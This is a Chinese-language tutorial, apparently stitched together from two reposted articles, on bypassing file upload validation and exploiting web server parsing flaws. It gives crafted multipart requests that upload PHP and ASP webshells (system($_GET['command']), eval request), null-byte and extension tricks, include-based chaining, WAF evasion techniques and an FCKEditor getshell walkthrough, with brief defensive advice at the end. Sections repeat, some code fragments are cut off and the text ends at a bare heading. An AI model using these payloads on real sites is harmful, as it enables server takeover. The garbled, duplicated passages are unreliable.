1. 程式人生 > >檔案上傳驗證繞過技術總結

檔案上傳驗證繞過技術總結

檔案上傳漏洞(繞過姿勢)


檔案上傳漏洞(繞過姿勢)

From:http://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/

檔案上傳漏洞可以說是日常滲透測試用得最多的一個漏洞,因為用它獲得伺服器許可權最快最直接。但是想真正把這個漏洞利用好卻不那麼容易,其中有很多技巧,也有很多需要掌握的知識。俗話說,知己知彼方能百戰不殆,因此想要研究怎麼防護漏洞,就要了解怎麼去利用。此篇文章主要分三部分:總結一些常見的上傳檔案校驗方式,以及繞過校驗的各種姿勢,最後對此漏洞提幾點防護建議。(根據個人經驗總結,歡迎補充糾錯~~)

檔案上傳校驗姿勢

  • 客戶端javascript校驗(一般只校驗字尾名)

  • 服務端校驗

    • 檔案頭content-type欄位校驗(image/gif)

    • 檔案內容頭校驗(GIF89a)

    • 字尾名黑名單校驗

    • 字尾名白名單校驗

    • 自定義正則校驗

  • WAF裝置校驗(根據不同的WAF產品而定)

1.客戶端校驗

  一般都是在網頁上寫一段javascript指令碼,校驗上傳檔案的字尾名,有白名單形式也有黑名單形式。
  判斷方式:在瀏覽載入檔案,但還未點選上傳按鈕時便彈出對話方塊,內容如:只允許上傳.jpg/.jpeg/.png字尾名的檔案,而此時並沒有傳送資料包。

2.服務端校驗

2.1 content-type欄位校驗

  這裡以PHP程式碼為例,模擬web伺服器端的校驗程式碼

<?php

if($_FILES['userfile']['type'] != "image/gif")  #這裡對上傳的檔案型別進行判斷,如果不是image/gif型別便返回錯誤。

{

echo "Sorry, we only allow uploading GIF images";

exit;

}

$uploaddir = 'uploads/';

$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES

['userfile']['tmp_name'], $uploadfile))

{

echo "File is valid, and was successfully uploaded.\n";

} else {

echo "File uploading failed.\n";

}

?>

可以看到程式碼對上傳檔案的檔案型別進行了判斷,如果不是圖片型別,返回錯誤。

2.2 檔案頭校驗

  可以通過自己寫正則匹配,判斷檔案頭內容是否符合要求,這裡舉幾個常見的檔案頭對應關係:
(1)  .JPEG;.JPE;.JPG,”JPGGraphic File”
(2)  .gif,”GIF 89A”
(3)  .zip,”Zip Compressed”
(4)  .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”

檔案上傳繞過校驗姿勢

  • 客戶端繞過(抓包改包)

  • 服務端繞過

    • 檔案型別

    • 檔案頭

    • 檔案字尾名

  • 配合檔案包含漏洞繞過

  • 配合伺服器解析漏洞繞過

  • CMS、編輯器漏洞繞過

  • 配合作業系統檔案命名規則繞過

  • 配合其他規則繞過

  • WAF繞過

1.客戶端繞過

  可以利用burp抓包改包,先上傳一個gif型別的木馬,然後通過burp將其改為asp/php/jsp字尾名即可。

2.服務端繞過

2.1 檔案型別繞過

  我們可以通過抓包,將content-type欄位改為image/gif

POST /upload.php HTTP/1.1

TE: deflate,gzip;q=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Type: multipart/form-data; boundary=xYzZY

Content-Length: 155

--xYzZY

Content-Disposition: form-data; name="userfile"; filename="shell.php"

Content-Type: image/gif (原為 Content-Type: text/plain)

<?php system($_GET['command']);?>

--xYzZY-

2.2 檔案頭繞過

  在木馬內容基礎上再加了一些檔案資訊,有點像下面的結構
GIF89a<?php phpinfo(); ?>

2.3 檔案字尾名繞過

前提:黑名單校驗
黑名單檢測:一般有個專門的 blacklist 檔案,裡面會包含常見的危險指令碼檔案。
繞過方法:
(1)找黑名單副檔名的漏網之魚 - 比如 asa 和 cer 之類
(2)可能存在大小寫繞過漏洞 - 比如 aSp 和 pHp 之類
能被解析的副檔名列表:
jsp  jspx  jspf
asp  asa  cer  aspx
php  php  php3  php4
exe  exee

3.配合檔案包含漏洞

前提:校驗規則只校驗當檔案字尾名為asp/php/jsp的檔案內容是否為木馬。
繞過方式:(這裡拿php為例,此漏洞主要存在於PHP中)
(1)先上傳一個內容為木馬的txt字尾檔案,因為字尾名的關係沒有檢驗內容;
(2)然後再上傳一個.php的檔案,內容為<?php Include(“上傳的txt檔案路徑”);?>
此時,這個php檔案就會去引用txt檔案的內容,從而繞過校驗,下面列舉包含的語法:

#PHP    

<?php Include("上傳的txt檔案路徑");?>

#ASP    

<!--#include file="上傳的txt檔案路徑" -->

#JSP    

<jsp:inclde page="上傳的txt檔案路徑"/>

or

<%@include file="上傳的txt檔案路徑"%>

4.配合伺服器解析漏洞

詳細可參考:http://thief.one/2016/09/21/伺服器解析漏洞/

5.配合作業系統檔案命令規則

(1)上傳不符合windows檔案命名規則的檔名
  test.asp.
  test.asp(空格)
  test.php:1.jpg
  test.php::$DATA
  shell.php::$DATA…….
會被windows系統自動去掉不符合規則符號後面的內容。
(2)linux下字尾名大小寫
在linux下,如果上傳php不被解析,可以試試上傳pHp字尾的檔名。

6.CMS、編輯器漏洞

(1)CMS漏洞:比如說JCMS等存在的漏洞,可以針對不同CMS存在的上傳漏洞進行繞過。
(2)編輯器漏洞:比如FCK,ewebeditor等,可以針對編輯器的漏洞進行繞過。
這兩方面的漏洞以後單獨成文彙總,這裡點到為止。

7.配合其他規則

(1)0x00截斷:基於一個組合邏輯漏洞造成的,通常存在於構造上傳檔案路徑的時候
  test.php(0x00).jpg
  test.php%00.jpg
  路徑/upload/1.php(0x00),檔名1.jpg,結合/upload/1.php(0x00)/1.jpg
虛擬碼演示:

name= getname(httprequest) //假如這時候獲取到的檔名是 help.asp.jpg(asp 後面為 0x00)

type =gettype(name)        //而在 gettype()函式裡處理方式是從後往前掃描副檔名,所以判斷為 jpg

if(type == jpg)

SaveFileToPath(UploadPath.name, name)   //但在這裡卻是以 0x00 作為檔名截斷

//最後以 help.asp 存入路徑裡

8.WAF繞過

8.1 垃圾資料

  有些主機WAF軟體為了不影響web伺服器的效能,會對校驗的使用者資料設定大小上限,比如1M。此種情況可以構造一個大檔案,前面1M的內容為垃圾內容,後面才是真正的木馬內容,便可以繞過WAF對檔案內容的校驗;

當然也可以將垃圾資料放在資料包最開頭,這樣便可以繞過對檔名的校驗。

可以將垃圾資料加上Content-Disposition引數後面,引數內容過長,可能會導致waf檢測出錯。

8.2 filename

針對早期版本安全狗,可以多加一個filename

或者將filename換位置,在IIS6.0下如果我們換一種書寫方式,把filename放在其他地方:

8.3 POST/GET

有些WAF的規則是:如果資料包為POST型別,則校驗資料包內容。
此種情況可以上傳一個POST型的資料包,抓包將POST改為GET。

8.4 以上方式

針對WAF,以上介紹的伺服器解析漏洞、檔案包含漏洞等都可以嘗試繞過。

————————————————2017.2.6更新————————————————–

8.5 利用waf本身缺陷
刪除實體裡面的Conten-Type欄位

第一種是刪除Content整行,第二種是刪除C後面的字元。刪除掉ontent-Type: image/jpeg只留下c,將.php加c後面即可,但是要注意額,雙引號要跟著c.php。

正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png

構造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png

C.php"

刪除Content-Disposition欄位裡的空格

增加一個空格導致安全狗被繞過案列:
Content-Type: multipart/form-data; boundary=—————————471****1141173****525****99
嘗試在boundary後面加個空格或者其他可被正常處理的字元:
boundary= —————————471****1141173****525****50

修改Content-Disposition欄位值的大小寫

Boundary邊界不一致

每次檔案上傳時的Boundary邊界都是一致的:

Content-Type: multipart/form-data; boundary=---------------------------471****1141173****525****99

Content-Length: 253

-----------------------------471****1141173****525****99

Content-Disposition: form-data; name="file1"; filename="shell.asp"

Content-Type: application/octet-stream

<%eval request("a")%>

-----------------------------471****1141173****525****99--

但如果容器在處理的過程中並沒有嚴格要求一致的話可能會導致一個問題,兩段Boundary不一致使得waf認為這段資料是無意義的,可是容器並沒有那麼嚴謹:
Win2k3 + IIS6.0 + ASP

檔名處回車

多個Content-Disposition

在IIS的環境下,上傳檔案時如果存在多個Content-Disposition的話,IIS會取第一個Content-Disposition中的值作為接收引數,而如果waf只是取最後一個的話便會被繞過,Win2k8 + IIS7.0 + PHP

利用NTFS ADS特性

ADS是NTFS磁碟格式的一個特性,用於NTFS交換資料流。在上傳檔案時,如果waf對請求正文的filename匹配不當的話可能會導致繞過。

其他情況補充

檔案重新命名繞過

如果web程式會將filename除了副檔名的那段重新命名的話,那麼還可以構造更多的點、符號等等。

特殊的長檔名繞過

檔名使用非字母數字,比如中文等最大程度的拉長,不行的話再結合一下其他的特性進行測試:
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

反刪除

將下圖file1改成了file4,這樣就不會把這個檔案刪除了。(JCMS漏洞)

檔案校驗的幾點建議

  • 副檔名服務端白名單校驗。

  • 檔案內容服務端校驗。

  • 上傳檔案重新命名。

  • 隱藏上傳檔案路徑。

  以上幾點,可以防禦絕大多數上傳漏洞,但是需要跟伺服器容器結合起來。如果解析漏洞依然存在,那麼沒有絕對的安全。


檔案上傳漏洞及解析漏洞總結

檔案上傳漏洞是指使用者上傳了一個可執行的指令碼檔案,並通過此指令碼檔案獲得了執行伺服器端命令的能力。這種攻擊方式是最為直接和有效的,“檔案上傳”本身沒有問題,有問題的是檔案上傳後,伺服器怎麼處理、解釋檔案。如果伺服器的處理邏輯做的不夠安全,則會導致嚴重的後果。

檔案上傳後導致的常見安全問題一般有:

1)上傳檔案是Web指令碼語言,伺服器的Web容器解釋並執行了使用者上傳的指令碼,導致程式碼執行。

2)上傳檔案是Flash的策略檔案crossdomain.xml,黑客用以控制Flash在該域下的行為(其他通過類似方式控制策略檔案的情況類似);

3)上傳檔案是病毒、木馬檔案,黑客用以誘騙使用者或者管理員下載執行。

4)上傳檔案是釣魚圖片或為包含了指令碼的圖片,在某些版本的瀏覽器中會被作為指令碼執行,被用於釣魚和欺詐。

除此之外,還有一些不常見的利用方法,比如將上傳檔案作為一個入口,溢位伺服器的後臺處理程式,如圖片解析模組;或者上傳一個合法的文字檔案,其內容包含了PHP指令碼,再通過"本地檔案包含漏洞(Local File Include)"執行此指令碼;等等。

要完成這個攻擊,要滿足以下幾個條件:

首先,上傳的檔案能夠被Web容器解釋執行。所以檔案上傳後所在的目錄要是Web容器所覆蓋到的路徑。

其次,使用者能夠從Web上訪問這個檔案。如果檔案上傳了,但使用者無法通過Web訪問,或者無法得到Web容器解釋這個指令碼,那麼也不能稱之為漏洞。

最後,使用者上傳的檔案若被安全檢查、格式化、圖片壓縮等功能改變了內容,則也可能導致攻擊不成功。

一、從FCKEditor檔案上傳漏洞談起

FCKEditor是一款非常流行的富文字編輯器,為了方便使用者,它帶有一個檔案上傳功能,但是這個功能卻出過多次漏洞。

FCKEditor針對ASP/PHP/JSP等環境都有對應的版本,以PHP為例,其檔案上傳功能在:

http://www.xxx.com/path/FCKEditor/editor/filemanager/browser/default/browser.html?,配合解析漏洞。

(一)IIS5.x-6.x解析漏洞

使用iis5.x-6.x版本的伺服器,大多為windows server 2003,網站比較古老,開發語句一般為asp;該解析漏洞也只能解析asp檔案,而不能解析aspx檔案。

目錄解析(6.0)

形式:www.xxx.com/xx.asp/xx.jpg

原理: 伺服器預設會把.asp,.asp目錄下的檔案都解析成asp檔案。

檔案解析

形式:www.xxx.com/xx.asp;.jpg

原理:伺服器預設不解析;號後面的內容,因此xx.asp;.jpg便被解析成asp檔案了。

解析檔案型別

IIS6.0 預設的可執行檔案除了asp還包含這三種 :

/test.asa

/test.cer

/test.cdx

(二)apache解析漏洞

漏洞原理

Apache 解析檔案的規則是從右到左開始判斷解析,如果字尾名為不可識別檔案解析,就再往左判斷。比如test.php.qwe.asd “.qwe”和”.asd” 這兩種字尾是apache不可識別解析,apache就會把wooyun.php.qwe.asd解析成php。

漏洞形式

www.xxxx.xxx.com/test.php.php123

其餘配置問題導致漏洞

(1)如果在 Apache 的 conf 裡有這樣一行配置 AddHandler php5-script .php 這時只要檔名裡包含.php 即使檔名是 test2.php.jpg 也會以 php 來執行。

(2)如果在 Apache 的 conf 裡有這樣一行配置 AddType application/x-httpd-php .jpg 即使副檔名是 jpg,一樣能以php 方式執行。

修復方案

1.apache配置檔案,禁止.php.這樣的檔案執行,配置檔案裡面加入

2.用偽靜態能解決這個問題,重寫類似.php.*這類檔案,開啟apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so

把#號去掉,重啟apache,在網站根目錄下建立.htaccess檔案

(三)nginx解析漏洞

漏洞原理

Nginx預設是以CGI的方式支援PHP解析的,普遍的做法是在Nginx配置檔案中通過正則匹配設定SCRIPT_FILENAME。當訪問www.xx.com/phpinfo.jpg/1.php這個URL時,$fastcgi_script_name會被設定為“phpinfo.jpg/1.php”,然後構造成SCRIPT_FILENAME傳遞給PHP CGI,但是PHP為什麼會接受這樣的引數,並將phpinfo.jpg作為PHP檔案解析呢?這就要說到fix_pathinfo這個選項了。 如果開啟了這個選項,那麼就會觸發在PHP中的如下邏輯:

PHP會認為SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就會將phpinfo.jpg作為PHP檔案來解析了

漏洞形式

www.xxxx.com/UploadFiles/image/1.jpg/1.php

www.xxxx.com/UploadFiles/image/1.jpg%00.php

www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

另外一種手法:上傳一個名字為test.jpg,然後訪問test.jpg/.php,在這個目錄下就會生成一句話木馬shell.php。

(四)IIS7.5解析漏洞

IIS7.5的漏洞與nginx的類似,都是由於php配置檔案中,開啟了cgi.fix_pathinfo,而這並不是nginx或者iis7.5本身的漏洞。

5.配合操作系統檔案命令規則

(1)上傳不符合windows檔案命名規則的檔名

test.asp.

test.asp(空格)

test.php:1.jpg

test.php:: $DATA

會被windows系統自動去掉不符合規則符號後面的內容。

如圖訪問ip/Netsys/HtmlEdit/fckeditor/editor/filemanager/connectors/test.html

\

點選Create Folder新建資料夾

\

用brup suite進行改包,將%2F改為a.asp。

\

點選Get Folders獲得資料夾。

\

上傳檔案,我這裡上傳了一句話圖片木馬,然後能看到上傳的路徑,訪問的是1.asp/FI201610191827336199.jpg,會被當作asp執行,用菜刀連線getshell。

\

二、繞過檔案上傳檢查功能

一般都是通過檔名字尾檢查。但是在某些時候,攻擊者手動修改了上傳過程中的POST包,在檔名後新增一個%00位元組額,則可以截斷某些函式對檔名的判斷。因為在許多語言的函式中,比如在C、PHP等語言的常用字串處理函式中,0x00被認為是終止符。受此影響的環境有Web應用和一些伺服器。比如應用原本只允許上傳JPG圖片,那麼可以構造檔名為xxx.php[\0].JPG,其中[\0]為十六進位制的0x00字元,.JPG繞過了應用的上傳檔案型別判斷;但對於伺服器來說,此檔案因為0x00字元截斷的關係,最終卻變成了xxx.php。

1.客戶端校驗

一般都是在網頁上寫一段javascript指令碼,校驗上傳檔案的字尾名,有白名單形式也有黑名單形式。

判斷方式:在瀏覽載入檔案,但還未點選上傳按鈕時便彈出對話方塊,內容如:只允許上傳.jpg/.jpeg/.png?www.2cto.com字尾名的檔案,而此時並沒有傳送資料包。

\

客戶端繞過

可以利用burp抓包改包,先上傳一個gif型別的木馬,然後通過burp將其改為asp/php/jsp字尾名即可。

2.服務端校驗

2.1 content-type欄位校驗

\

檔案型別繞過

我們可以通過抓包,將content-type欄位改為image/gif

2.2 檔案頭校驗

可以通過自己寫正則匹配,判斷檔案頭內容是否符合要求,這裡舉幾個常見的檔案頭對應關係:

(1) .JPEG;.JPE;.JPG,”JPGGraphic File”

(2) .gif,”GIF 89A”

(3) .zip,”Zip Compressed”

(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”

檔案頭繞過

在木馬內容基礎上再加了一些檔案資訊,有點像下面的結構

GIF89a

2.3 副檔名驗證

MIME驗證

MIME(Multipurpose Internet Mail Extensions)多用途網際網路郵件擴充套件型別。是設定某種副檔名的檔案用一種應用程式來開啟的方式型別,當該副檔名檔案被訪問的時候,瀏覽器會自動使用指定應用程式來開啟。多用於指定一些客戶端自定義的檔名,以及一些媒體檔案開啟方式。

它是一個網際網路標準,擴充套件了電子郵件標準,使其能夠支援:

非ASCII字元文字;非文字格式附件(二進位制、聲音、影象等);由多部分(multiple parts)組成的訊息體;包含非ASCII字元的頭資訊(Header information)。

這個標準被定義在RFC 2045、RFC 2046、RFC 2047、RFC 2048、RFC 2049等RFC中。 MIME改善了由RFC 822轉變而來的RFC 2822,這些舊標準規定電子郵件標準並不允許在郵件訊息中使用7位ASCII字符集以外的字元。正因如此,一些非英語字元訊息和二進位制檔案,影象,聲音等非文字訊息原本都不能在電子郵件中傳輸(MIME可以)。MIME規定了用於表示各種各樣的資料型別的符號化方法。 此外,在全球資訊網中使用的HTTP協議中也使用了MIME的框架,標準被擴充套件為網際網路媒體型別。

MIME的作用

使客戶端軟體區分不同種類的資料,例如web瀏覽器就是通過MIME型別來判斷檔案是GIF圖片,還是可列印的PostScript檔案。 Web伺服器使用MIME來說明發送資料的種類,Web客戶端使用MIME來說明希望接收到的資料種類。

一個普通的文字郵件的資訊包含一個頭部分(To: From: Subject: 等等)和一個體部分(Hello Mr.,等等)。在一個符合MIME的資訊中,也包含一個資訊頭並不奇怪,郵件的各個部分叫做MIME段,每段前也綴以一個特別的頭。MIME郵件只是基於RFC 822郵件的一個擴充套件,然而它有著自己的RFC規範集。

頭欄位:MIME頭根據在郵件包中的位置,大體上分為MIME資訊頭和MIME段頭。(MIME資訊頭指整個郵件的頭,而MIME段頭只每個MIME段的頭。)

常見MIME型別

\

mimntype判斷

一般先判斷內容的前十個位元組,來判斷檔案型別,然後再判斷後綴名。

副檔名繞過

前提:黑名單校驗

黑名單檢測:一般有個專門的 blacklist 檔案,裡面會包含常見的危險指令碼檔案。

繞過方法:

(1)找黑名單副檔名的漏網之魚 - 比如 asa 和 cer 之類

(2)可能存在大小寫繞過漏洞 - 比如 aSp 和 pHp 之類

能被解析的副檔名列表:

jsp jspx jspf

asp asa cer aspx

三、配合檔案包含漏洞

前提:校驗規則只校驗當檔案字尾名為asp/php/jsp的檔案內容是否為木馬。

繞過方式:(這裡拿php為例,此漏洞主要存在於PHP中)

(1)先上傳一個內容為木馬的txt字尾檔案,因為字尾名的關係沒有檢驗內容;

(2)然後再上傳一個.php的檔案,內容為“上傳的txt檔案路徑”);?>

此時,這個php檔案就會去引用txt檔案的內容,從而繞過校驗,下面列舉包含的語法:

(2)linux下字尾名大小寫

在linux下,如果上傳php不被解析,可以試試上傳pHp字尾的檔名。

\

CMS、編輯器漏洞

(1)CMS漏洞:比如說JCMS等存在的漏洞,可以針對不同CMS存在的上傳漏洞進行繞過。

(2)編輯器漏洞:比如FCK,ewebeditor等,可以針對編輯器的漏洞進行繞過。

這兩方面的漏洞以後單獨成文彙總,這裡點到為止。

配合其他規則

(1)0x00截斷:基於一個組合邏輯漏洞造成的,通常存在於構造上傳檔案路徑的時候

test.php(0x00).jpg

test.php%00.jpg

路徑/upload/1.php(0x00),檔名1.jpg,結合/upload/1.php(0x00)/1.jpg

四、WAF繞過